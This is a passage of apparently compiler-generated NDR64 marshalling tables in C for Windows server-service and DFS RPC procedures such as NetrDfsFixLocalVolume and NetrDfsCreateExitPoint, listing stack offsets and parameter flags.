__midl_frag867_t __midl_frag867 =\n{ \n/* *_TRANSPORT_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag868\n};\n\nstatic const __midl_frag863_t __midl_frag863 =\n{ \n/* NetrServerTransportDelEx */\n    { \n    /* NetrServerTransportDelEx */      /* procedure NetrServerTransportDelEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag868,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag861_t __midl_frag861 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag859_t __midl_frag859 =\n{ \n/* DFS_SITENAME_INFO */\n    { \n    /* DFS_SITENAME_INFO */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DFS_SITENAME_INFO */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag861,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag857_t __midl_frag857 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag859\n        },\n        &__midl_frag894,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag856_t __midl_frag856 =\n{ \n/* _DFS_SITELIST_INFO */\n    { \n    /* _DFS_SITELIST_INFO */\n        0x37,    /* FC64_FORCED_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _DFS_SITELIST_INFO */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        0,\n        0,\n        0,\n        &__midl_frag857,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag855_t __midl_frag855 =\n{ \n/* *_DFS_SITELIST_INFO */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag856\n};\n\nstatic const __midl_frag854_t __midl_frag854 =\n{ \n/* **_DFS_SITELIST_INFO */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag855\n};\n\nstatic const __midl_frag851_t __midl_frag851 =\n{ \n/* NetrDfsManagerReportSiteInfo */\n    { \n    /* NetrDfsManagerReportSiteInfo */      /* procedure NetrDfsManagerReportSiteInfo */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ppSiteInfo */      /* parameter ppSiteInfo */\n        &__midl_frag854,\n        { \n        /* ppSiteInfo */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [in], [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag848_t __midl_frag848 =\n{ \n/* *_NET_DFS_ENTRY_ID_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag783\n};\n\nstatic const __midl_frag846_t __midl_frag846 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag913\n};\n\nstatic const __midl_frag845_t __midl_frag845 =\n{ \n/* *GUID */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag777\n};\n\nstatic const __midl_frag836_t __midl_frag836 =\n{ \n/* NetrDfsFixLocalVolume */\n    { \n    /* NetrDfsFixLocalVolume */      /* procedure NetrDfsFixLocalVolume */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 80 /* 0x50 */ ,  /* Stack size */\n        (NDR64_UINT32) 96 /* 0x60 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* VolumeName */      /* parameter VolumeName */\n        &__midl_frag913,\n        { \n        /* VolumeName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EntryType */      /* parameter EntryType */\n        &__midl_frag928,\n        { \n        /* EntryType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ServiceType */      /* parameter ServiceType */\n        &__midl_frag928,\n        { \n        /* ServiceType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* StgId */      /* parameter StgId */\n        &__midl_frag913,\n        { \n        /* StgId */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* EntryUid */      /* parameter EntryUid */\n        &__midl_frag777,\n        { \n        /* EntryUid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* EntryPrefix */      /* parameter EntryPrefix */\n        &__midl_frag913,\n        { \n        /* EntryPrefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* RelationInfo */      /* parameter RelationInfo */\n        &__midl_frag783,\n        { \n        /* RelationInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* CreateDisposition */      /* parameter CreateDisposition */\n        &__midl_frag928,\n        { \n        /* CreateDisposition */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag829_t __midl_frag829 =\n{ \n/* NetrDfsModifyPrefix */\n    { \n    /* NetrDfsModifyPrefix */      /* procedure NetrDfsModifyPrefix */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag913,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag821_t __midl_frag821 =\n{ \n/* NetrDfsDeleteExitPoint */\n    { \n    /* NetrDfsDeleteExitPoint */      /* procedure NetrDfsDeleteExitPoint */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag913,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag928,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag819_t __midl_frag819 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag818_t __midl_frag818 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 32 /* 0x20 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag817_t __midl_frag817 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag818\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag819\n    }\n};\n\nstatic const __midl_frag816_t __midl_frag816 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag817\n};\n\nstatic const __midl_frag815_t __midl_frag815 =\n{ \n/* DWORD */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 32 /* 0x20 */\n};\n\nstatic const __midl_frag813_t __midl_frag813 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag812_t __midl_frag812 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag813\n};\n\nstatic const __midl_frag811_t __midl_frag811 =\n{ \n/* *GUID */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag777\n};\n\nstatic const __midl_frag809_t __midl_frag809 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag813\n};\n\nstatic const __midl_frag808_t __midl_frag808 =\n{ \n/* NetrDfsCreateExitPoint */\n    { \n    /* NetrDfsCreateExitPoint */      /* procedure NetrDfsCreateExitPoint */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 88 /* 0x58 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag813,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag928,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ShortPrefixLen */      /* parameter ShortPrefixLen */\n        &__midl_frag815,\n        { \n        /* ShortPrefixLen */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        